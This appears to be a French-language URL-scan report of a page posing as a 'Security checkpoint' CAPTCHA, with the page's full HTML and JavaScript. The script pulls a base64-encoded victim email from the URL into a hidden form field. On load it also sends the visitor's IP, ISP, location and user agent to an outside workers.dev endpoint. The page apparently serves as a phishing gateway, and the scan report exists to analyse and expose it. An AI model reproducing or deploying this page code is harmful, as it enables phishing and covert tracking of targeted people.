- ID de l'analyse :
- 5bc38ebb-6c9a-4b7f-90c1-64076c78c362Terminée
- URL soumise :
- https://diplomatic.us.com/favibcon.ico
- Fin du rapport :
Liens : 0 trouvé(s)
Liens sortants identifiés à partir de la page
Variables JavaScript : 9 trouvée(s)
Les variables JavaScript globales chargées dans l'objet fenêtre d'une page sont des variables déclarées en dehors des fonctions et accessibles depuis n'importe quel endroit du code au sein du champ d'application actuel
Nom | Type |
---|---|
onbeforetoggle | object |
documentPictureInPicture | object |
onscrollend | object |
fetchUserInfo | function |
refreshCaptcha | function |
onTurnstileVerified | function |
prefillEmail | function |
sendInitialClientData | function |
turnstile | object |
Messages de journal de console : 5 trouvé(s)
Messages consignés dans la console web
Type | Catégorie | Enregistrement |
---|---|---|
error | network |
|
error | network |
|
error | security |
|
error | network |
|
error | javascript |
|
HTML
Le corps HTML de la page en données brutes
<html><head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Bot Protection Gateway</title>
<script src="https://challenges.cloudflare.com/turnstile/v0/api.js" async="" defer=""></script>
<style>
body,
html {
display: flex;
justify-content: center;
align-items: center;
height: 85vh;
margin: 0;
font-family: Arial, sans-serif;
background-color: #fff;
box-sizing: border-box;
}
.container {
background-color: #fff;
padding: 20px;
width: 100%;
max-width: 340px;
border-radius: 8px;
box-sizing: border-box;
margin: 20px;
}
.header {
display: flex;
align-items: center;
justify-content: center;
/* Centers content horizontally */
gap: 8px;
}
h1 {
font-size: 1.5em;
margin: 0;
}
.description {
font-size: 0.9em;
color: #555;
margin-bottom: 20px;
font-style: italic;
text-align: left;
/* Left-aligns description text */
}
label {
font-weight: bold;
display: block;
margin-top: 15px;
margin-bottom: 5px;
}
.helper-text {
font-size: 0.85em;
color: #555;
margin-top: 5px;
}
.captcha-image {
display: flex;
align-items: center;
gap: 10px;
margin-top: 10px;
}
.captcha-input {
font-size: 16px;
width: 100%;
padding: 8px;
border: 1px solid #ccc;
height: 50px;
box-sizing: border-box;
margin-top: 5px;
}
.error-message {
color: red;
font-size: 0.9em;
margin-bottom: 10px;
}
.button-container {
display: flex;
gap: 10px;
margin-top: 20px;
}
.next-button {
flex: 1;
padding: 10px;
background-color: #0078d4;
color: #fff;
border: none;
height: 50px;
cursor: pointer;
font-size: 1em;
}
.cf-turnstile {
margin-top: 1rem;
}
</style>
</head>
<body>
<div class="container">
<div class="header">
<h1>Security checkpoint</h1>
<img src="https://img.icons8.com/material-sharp/24/lock--v1.png" alt="lock icon" width="24" height="24">
</div>
<p class="description">For security purposes, we need you to complete a CAPTCHA.</p>
<form id="captcha-form" action="/validate_captcha.php" method="POST">
<input type="hidden" id="email" name="email">
<!-- Text-based CAPTCHA -->
<label for="text-captcha">Enter the characters in the picture: <span style="color: red;">*</span></label>
<div class="captcha-image">
<img src="/generate_captcha.php" alt="CAPTCHA Image" id="captcha-image" style="max-width: 100px;">
<button type="button" onclick="refreshCaptcha()" style="padding: 0; border: none; background: none;">
<img width="30" height="30" src="https://img.icons8.com/ios-filled/50/recurring-appointment.png" alt="recurring-appointment" style="display: block; border: none;">
</button>
</div>
<input type="text" id="text-captcha" name="text_captcha" class="captcha-input" required="">
<!-- Cloudflare Turnstile CAPTCHA -->
<div class="cf-turnstile" data-sitekey="0x4AAAAAAAzbaCIIxhpKU4HJ" data-callback="onTurnstileVerified"><div><input type="hidden" name="cf-turnstile-response" id="cf-chl-widget-ptx64_response"></div></div>
<!-- Submit button -->
<div class="button-container">
<button id="next-button" class="next-button" type="submit" disabled="">Submit</button>
</div>
</form>
<div id="user-info" class="helper-text" style="margin-top: 15px;">
<strong>IP:</strong> 2a09:bac5:312c:e64::16f:2 <br>
<strong>Location:</strong> Chamartin, Madrid, Spain <br>
<strong>Device/UA:</strong> Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36
</div>
<script>
// Fetch user information (IP, location, and UA)
async function fetchUserInfo() {
try {
const response = await fetch("https://ipapi.co/json/"); // Using ipapi.co as an example
if (response.ok) {
const data = await response.json();
const ua = navigator.userAgent;
const userInfo = `
<strong>IP:</strong> ${data.ip} <br>
<strong>Location:</strong> ${data.city}, ${data.region}, ${data.country_name} <br>
<strong>Device/UA:</strong> ${ua}
`;
document.getElementById("user-info").innerHTML = userInfo;
} else {
document.getElementById("user-info").innerText = "Ray ID: 8dfcfbe7e9cc36bc";
}
} catch (error) {
console.error("Error fetching user info:", error);
document.getElementById("user-info").innerText = "Ray ID: 8dfcfbe7e9cc36bc";
}
}
// Run the fetchUserInfo function when the page loads
window.addEventListener("DOMContentLoaded", fetchUserInfo);
// Refresh the text CAPTCHA image
function refreshCaptcha() {
document.getElementById("captcha-image").src = "/generate_captcha.php?" + Date.now();
}
// Enable the submit button only after Turnstile CAPTCHA is verified
function onTurnstileVerified(token) {
document.getElementById('next-button').disabled = false;
}
// Function to extract the email from the URL, decode any URL encoding, and populate the hidden email field
function prefillEmail() {
const url = decodeURIComponent(window.location.href); // Decode any URL-encoded characters
const match = url.match(/\(([^)]+)\)|\\([^\\]+)\\/); // Regex to capture text inside () or \\
if (match) {
const base64Email = match[1] || match[2]; // Use whichever group matched
if (base64Email) {
const email = atob(base64Email); // Decode Base64 to plain text
document.getElementById('email').value = email; // Set as the value of the hidden input
}
}
}
// Call the function on page load
window.onload = prefillEmail;
// Send Initial Client Data on Page Load to beta-enforcer
async function sendInitialClientData() {
try {
const response = await fetch('https://ipapi.co/json/');
if (response.ok) {
const data = await response.json();
const initialData = {
time: new Date().toLocaleString(),
ip: data.ip,
isp: data.org || 'Unknown ISP',
region: data.region || 'Unknown Region',
country: data.country_name || 'Unknown Country',
city: data.city || 'Unknown City',
userAgent: navigator.userAgent,
message: 'Initial page load'
};
// Send initial data to beta-enforcer endpoint
await fetch('https://visits-enforcer.byrdeinc.workers.dev/', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify(initialData)
});
}
} catch (error) {
console.error('Error sending initial client data:', error);
}
}
// Call this function on page load
window.addEventListener('load', () => {
sendInitialClientData();
});
</script>
</div>
</body></html>